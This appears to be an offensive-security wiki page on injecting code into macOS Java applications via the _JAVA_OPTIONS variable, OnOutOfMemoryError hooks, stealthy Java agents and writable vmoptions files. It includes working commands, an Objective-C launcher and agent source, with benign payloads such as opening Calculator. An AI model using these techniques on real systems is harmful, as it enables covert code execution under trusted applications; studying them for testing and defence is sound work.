# macOS Java Applications Injection
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## Enumeration
Find Java applications installed in your system. It was noticed that Java apps in the **Info.plist** will contain some java parameters which contain the string **`java.`**, so you can search for that:
```bash
# Search only in /Applications folder
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
# Full search
sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
```
## \_JAVA\_OPTIONS
The env variable **`_JAVA_OPTIONS`** can be used to inject arbitrary java parameters in the execution of a java compiled app:
```bash
# Write your payload in a script called /tmp/payload.sh
export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
```
To execute it as a new process and not as a child of the current terminal you can use:
```objectivec
#import
// clang -fobjc-arc -framework Foundation invoker.m -o invoker
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Specify the file path and content
NSString *filePath = @"/tmp/payload.sh";
NSString *content = @"#!/bin/bash\n/Applications/iTerm.app/Contents/MacOS/iTerm2";
NSError *error = nil;
// Write content to the file
BOOL success = [content writeToFile:filePath
atomically:YES
encoding:NSUTF8StringEncoding
error:&error];
if (!success) {
NSLog(@"Error writing file at %@\n%@", filePath, [error localizedDescription]);
return 1;
}
NSLog(@"File written successfully to %@", filePath);
// Create a new task
NSTask *task = [[NSTask alloc] init];
/// Set the task's launch path to use the 'open' command
[task setLaunchPath:@"/usr/bin/open"];
// Arguments for the 'open' command, specifying the path to Android Studio
[task setArguments:@[@"/Applications/Android Studio.app"]];
// Define custom environment variables
NSDictionary *customEnvironment = @{
@"_JAVA_OPTIONS": @"-Xms2m -Xmx5m -XX:OnOutOfMemoryError=/tmp/payload.sh"
};
// Get the current environment and merge it with custom variables
NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary:[[NSProcessInfo processInfo] environment]];
[environment addEntriesFromDictionary:customEnvironment];
// Set the task's environment
[task setEnvironment:environment];
// Launch the task
[task launch];
}
return 0;
}
```
However, that will trigger an error on the executed app, another more stealth way is to create a java agent and use:
```bash
export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
# Or
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
```
{% hint style="danger" %}
Creating the agent with a **different Java version** from the application can crash the execution of both the agent and the application
{% endhint %}
Where the agent can be:
{% code title="Agent.java" %}
```java
import java.io.*;
import java.lang.instrument.*;
public class Agent {
public static void premain(String args, Instrumentation inst) {
try {
String[] commands = new String[] { "/usr/bin/open", "-a", "Calculator" };
Runtime.getRuntime().exec(commands);
}
catch (Exception err) {
err.printStackTrace();
}
}
}
```
{% endcode %}
To compile the agent run:
```bash
javac Agent.java # Create Agent.class
jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar
```
With `manifest.txt`:
```
Premain-Class: Agent
Agent-Class: Agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true
```
And then export the env variable and run the java application like:
```bash
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
# Or
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
```
## vmoptions file
This file support the specification of **Java params** when Java is executed. You could use some of the previous tricks to change the java params and **make the process execute arbitrary commands**.\
Moreover, this file can also **include others** with the `include` directory, so you could also change an included file.
Even more, some Java apps will **load more than one `vmoptions`** file.
Some applications like Android Studio indicates in their **output where are they looking** for these files, like:
```bash
/Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions
2023-12-13 19:53:23.920 studio[74913:581359] fullFileName is: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
2023-12-13 19:53:23.920 studio[74913:581359] fullFileName exists: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
2023-12-13 19:53:23.920 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
2023-12-13 19:53:23.921 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app.vmoptions
2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
```
If they don't you can easily check for it with:
```bash
# Monitor
sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
# Launch the Java app
/Applications/Android\ Studio.app/Contents/MacOS/studio
```
Note how interesting is that Android Studio in this example is trying to load the file **`/Applications/Android Studio.app.vmoptions`**, a place where any user from the **`admin` group has write access.**
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